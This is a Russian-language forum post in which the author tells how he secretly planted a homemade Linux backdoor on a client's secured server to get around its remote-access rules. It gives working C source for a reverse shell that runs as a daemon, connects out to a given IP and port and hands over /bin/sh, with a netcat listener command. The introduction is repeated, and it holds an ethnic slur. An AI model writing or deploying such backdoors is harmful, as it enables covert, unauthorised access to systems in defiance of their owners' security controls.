S
sowd
Бэкдор под линукс на Си через нат
Небольшая прелюдия, для чего и почему мне это понадобилось:
Довелось мне как то работать в компании предоставляюшей услуги связи.
Одной из востребованых услуг компании, была ip телефония на базе астериска. И так вышло, что в мои
обязаности входило написание всяких бизнес процесов и интеграция с телефонией, и дальнейщая
поддержка всего этого лядства. Клиенты у компании были самыми разными, от мелких барыг евреев до всяческих полу-гос
организаций, были даже ребята в погонах. Работа с последними была самой гемаройной, из-за их е*нутых политик безопасности
связаных с предосталением удаленного доступа к серверам. Порой доходило до маразма, что бы внести какие то изменения в код,
нужно пыло по пробкам ехать через весь город, а потом под строгим надзором товарища майора с клавой на коленке в серверной
допиливать или фиксить, то что тамощние ламера наломали. Происходило это с завидной регулярностью, и мне очень быстро
регулярные поездки из теплого уютного офиса на другой конец города надоели. Попытки договориться с тапомшними сисадмминами
о тунеле, не привели ни к чему т.к. местные аборигены все поголовно страдают клиническим недугом "Погоны головного мозга".
В итоге решил закодить простенький дор, который должен был пробивать нат, и не палится на как тунель. Которым в своею
очередь был успешно инфицирован нужный мне сервер в один из следующих выездов на "объект".
Что бы пробить нат, дор должен выполнять роль клиента, который будет ломится на удаленый сервер, а удаленый сервер в свою
очередь должен выполнять роль клиента, который ждет подключения на нужном нам порту. Дабы не изобретать велосипед
на стороне удаленного сервера запускалася неткат который слушал нужный порт nc -l -p 5678
Ниже представлен код упращеной версии дора для простоты понимания. По сути каркас который при желании можно и нужно довести до
ума и обвесить нужным функционалом, но основную роль он прекрасно выполнят в том виде в котором есть.
На удаленой хосте стартуем неткат nc -l -p 5678
На инфицированом хосте запускаем дор ./dor
Профит
Небольшая прелюдия, для чего и почему мне это понадобилось:
Довелось мне как то работать в компании предоставляюшей услуги связи.
Одной из востребованых услуг компании, была ip телефония на базе астериска. И так вышло, что в мои
обязаности входило написание всяких бизнес процесов и интеграция с телефонией, и дальнейщая
поддержка всего этого лядства. Клиенты у компании были самыми разными, от мелких барыг евреев до всяческих полу-гос
организаций, были даже ребята в погонах. Работа с последними была самой гемаройной, из-за их е*нутых политик безопасности
связаных с предосталением удаленного доступа к серверам. Порой доходило до маразма, что бы внести какие то изменения в код,
нужно пыло по пробкам ехать через весь город, а потом под строгим надзором товарища майора с клавой на коленке в серверной
допиливать или фиксить, то что тамощние ламера наломали. Происходило это с завидной регулярностью, и мне очень быстро
регулярные поездки из теплого уютного офиса на другой конец города надоели. Попытки договориться с тапомшними сисадмминами
о тунеле, не привели ни к чему т.к. местные аборигены все поголовно страдают клиническим недугом "Погоны головного мозга".
В итоге решил закодить простенький дор, который должен был пробивать нат, и не палится на как тунель. Которым в своею
очередь был успешно инфицирован нужный мне сервер в один из следующих выездов на "объект".
Что бы пробить нат, дор должен выполнять роль клиента, который будет ломится на удаленый сервер, а удаленый сервер в свою
очередь должен выполнять роль клиента, который ждет подключения на нужном нам порту. Дабы не изобретать велосипед
на стороне удаленного сервера запускалася неткат который слушал нужный порт nc -l -p 5678
Ниже представлен код упращеной версии дора для простоты понимания. По сути каркас который при желании можно и нужно довести до
ума и обвесить нужным функционалом, но основную роль он прекрасно выполнят в том виде в котором есть.
Код:
#include <stdio.h>
#include <stdlib.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <unistd.h>
int main(int argc, char *argv[]){
int sd;
struct sockaddr_in serv_addr;
if(argc !=3){
printf("айпишник, порт: %s <ip> <port>\n", argv[0]);
exit(-1);
}
//стартуем в бэграунде как системный демон, второй аргумент фуньки перенаправляет вывод и ироры в девнул
daemon(1,0);
//Дальше идет сишная магия для работы с сокетами, что бы в полной мере понять, для чего и почему так, прийдется курить
стэк tcp/ip, rfc. Но можно не заморачиваться и оставить как есть.
//Указываем тип сокета, в данном случае интернеты
serv_addr.sin_family = AF_INET;
//конвертим айпишник в бинарный лонг
serv_addr.sin_addr.s_addr = inet_addr(argv[1]);
//конвертим из строки номер порта в инт и переводим в сетевой порядок байт
serv_addr.sin_port = htons(atoi(argv[2]));
//создаем сокет
sd = socket(PF_INET, SOCK_STREAM, 0);
//конектимся к нужному хосту и перенаправляем потоки ввода вывода на удаленый хост
if (connect(sd, (struct sockaddr*)&serv_addr, sizeof(serv_addr)) < 0){
perror("не подключился");
}
dup2(sd, 0);
dup2(sd, 1);
dup2(sd, 2);
execl("/bin/sh", "sh", 0);
}
На инфицированом хосте запускаем дор ./dor
Профит
Последнее редактирование модератором: